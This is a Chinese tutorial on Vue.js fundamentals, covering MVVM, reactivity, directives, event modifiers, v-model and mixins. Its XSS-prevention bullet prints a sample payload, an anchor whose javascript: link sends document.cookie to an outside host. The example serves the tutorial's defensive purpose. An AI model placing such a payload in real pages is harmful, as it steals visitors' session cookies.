Vue的知識點有哪些

本篇內容介紹了“Vue的知識點有哪些”的有關知識，在實際案例的操作過程中，不少人都會遇到這樣的困境，接下來就讓小編帶領大家學習一下如何處理這些情況吧！希望大家仔細閱讀，能夠學有所成！

1.官方介紹

Vue (讀音 /vju?/，類似于 view) 是一套用于構建用戶界面的漸進式框架。與其它大型框架不同的是，Vue 被設計為可以自底向上逐層應用。

Vue 的核心庫只關注視圖層，不僅易于上手，還便于與第三方庫或既有項目整合。

另一方面，當與現代化的工具鏈以及各種支持類庫結合使用時，Vue 也完全能夠為復雜的單頁應用提供驅動。

2.漸進式

框架做分層設計，每層都可選，不同層可以靈活接入其他方案。而當你都想用官方的實現時，會發現也早已準備好，各層之間包括配套工具都能比接入其他方案更便捷地協同工作。

一個個放入,放多少就做多少。

3. MV* 模式（MVC/MVP/MVVM）

· "MVC": model view controller用戶對View操作以后，View捕獲到這個操作，會把處理的權利交移給Controller（Pass calls）；Controller會對來自View數據進行預處理、決定調用哪個Model的接口；然后由Model執行相關的業務邏輯（數據請求）；當Model變更了以后，會通過觀察者模式（Observer Pattern）通知View；View通過觀察者模式收到Model變更的消息以后，會向Model請求最新的數據，然后重新更新界面。 把業務邏輯和展示邏輯分離，模塊化程度高。但由于View是強依賴特定的Model的，所以View無法組件化，無法復用

· "MVP": model view presenter和MVC模式一樣，用戶對View的操作都會從View交移給Presenter。Presenter會執行相應的應用程序邏輯，并且對Model進行相應的操作；而這時候Model執行完業務邏輯以后，也是通過觀察者模式把自己變更的消息傳遞出去，但是是傳給Presenter而不是View。Presenter獲取到Model變更的消息以后，通過View提供的接口更新界面。 View不依賴Model，View可以進行組件化。但Model->View的手動同步邏輯 麻煩，維護困難

· "MVVM": model view viewmodelMVVM的調用關系和MVP一樣。但是，在ViewModel當中會有一個叫Binder，或者是Data-binding engine的東西。你只需要在View的模版語法當中，指令式地聲明View上的顯示的內容是和Model的哪一塊數據綁定的。當ViewModel對進行Model更新的時候，Binder會自動把數據更新到View上去，當用戶對View進行操作（例如表單輸入），Binder也會自動把數據更新到Model上去。這種方式稱為：Two-way data-binding，雙向數據綁定。可以簡單而不恰當地理解為一個模版引擎，但是會根據數據變更實時渲染。解決了MVP大量的手動View和Model同步的問題，提供雙向綁定機制。提高了代碼的可維護性。對于大型的圖形應用程序，視圖狀態較多，ViewModel的構建和維護的成本都會比較高。

二. Vue 心跳體驗

· 直接下載并用 <script> 標簽引入，Vue 會被注冊為一個全局變量。

<script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>

命令行工具vue cli

· Vue 提供了一個官方的 CLI，為單頁面應用 (SPA) 快速搭建繁雜的腳手架。

npm install -g @vue/cli

三. 真相只有一個-數據綁定原理

https://cn.vuejs.org/v2/guide/reactivity.html

當你把一個普通的 JavaScript 對象傳入 Vue 實例作為 data 選項，Vue 將遍歷此對象所有的屬性，并使用 Object.defineProperty 把這些屬性全部轉為 getter/setter。Object.defineProperty 是 ES5 中一個無法 shim 的特性，這也就是 Vue 不支持 IE8 以及更低版本瀏覽器的原因。

每個組件實例都對應一個 watcher 實例，它會在組件渲染的過程中把“接觸”過的數據屬性記錄為依賴。之后當依賴項的 setter 觸發時，會通知 watcher，從而使它關聯的組件重新渲染。

注意：vue3 的 變化

Object.defineProperty有以下缺點。

1、無法監聽es6的Set、Map 變化；

2、無法監聽Class類型的數據；

3、屬性的新加或者刪除也無法監聽；

4、數組元素的增加和刪除也無法監聽。

針對Object.defineProperty的缺點，ES6 Proxy都能夠完美得解決，它唯一的缺點就是，對IE不友好,所以vue3在檢測到如果是使用IE的情況下（沒錯，IE11都不支持Proxy），會自動降級為Object.defineProperty的數據監聽系統。

四. 模板語法

1. 插值

· 文本 {{}}

· 純HTML v-html

· 防止XSS,CSRF(1) 前端過濾(2) 后臺轉義(< > < >)(3) 給cookie 加上屬性 http

<a  href="javascript:location.href='http://www.baidu.com?cookie='+document.cookie">

    click</a>

· 表達式

· 指令：是帶有 v- 前綴的特殊屬性

v-bind 動態綁定屬性v-if 動態創建/刪除v-show 動態顯示/隱藏v-on:click 綁定事件v-for 遍歷v-model 雙向綁定表單

· 縮寫

v-bind:src => :srcv-on:click => @click

2. class 與 style

(1)綁定HTML Class

· 對象語法

· 數組語法

(2)綁定內聯樣式

· 對象語法

· 數組語法

//需要將 font-size =>fontSize

3.條件渲染

(1)v-if(2)v-else v-else-if(3)template v-if ,包裝元素template 不會被創建(4)v-show

4.列表渲染

(1)v-for (特殊 v-for="n in 10")

· in

· of

//沒有區別

(2)key：

· 跟蹤每個節點的身份，從而重用和重新排序現有元素

· 理想的 key 值是每項都有的且唯一的 id。data.id

(3)數組更新檢測

· a. 使用以下方法操作數組，可以檢測變動push() pop() shift() unshift() splice() sort() reverse()

· b.filter(), concat() 和 slice() ,map(),新數組替換舊數組

· c. 不能檢測以下變動的數組

vm.items[indexOfItem] = newValue

解決

(1) Vue.set(example1.items, indexOfItem, newValue)(2) splice

(4)應用:顯示過濾結果

5.事件處理

(1)監聽事件-直接觸發代碼

(2)方法事件處理器-寫函數名 handleClick

(3)內聯處理器方法-執行函數表達式 handleClick($event) $event 事件對象

(4)事件修飾符 https://cn.vuejs.org/v2/guide/events.html

· .stop

· .prevent

· .capture

· .self

· .once

· .passive

每次事件產生，瀏覽器都會去查詢一下是否有preventDefault阻止該次事 件的默認動作。我們加上**passive就是為了告訴瀏覽器，不用查詢了，我們沒用****preventDefault阻止默認動作。**這里一般用在滾動監聽，@scroll，@touchmove 。因為滾動監聽過程中，移動每個像素都會產生一次事件，每次都使用內核線程查詢prevent會使滑動卡頓。我們通過passive將內核線程查詢跳過，可以大大提升滑動的流暢度。

(5)按鍵修飾符

6.表單控件綁定/雙向數據綁定

v-model

(1)基本用法

· 購物車

(2)修飾符

· .lazy :失去焦點同步一次

· .number :格式化數字

· .trim : 去除首尾空格

7. 計算屬性

復雜邏輯,模板難以維護

(1) 基礎例子

(2) 計算緩存 VS methods

· 計算屬性是基于它們的依賴進行緩存的。

· 計算屬性只有在它的相關依賴發生改變時才會重新求值

8. Mixins

混入 (mixins) 是一種分發 Vue 組件中可復用功能的非常靈活的方式。

混入對象可以包含任意組件選項。

當組件使用混入對象時，所有混入對象的選項將被混入該組件本身的選項。

“Vue的知識點有哪些”的內容就介紹到這里了，感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站，小編將為大家輸出更多高質量的實用文章！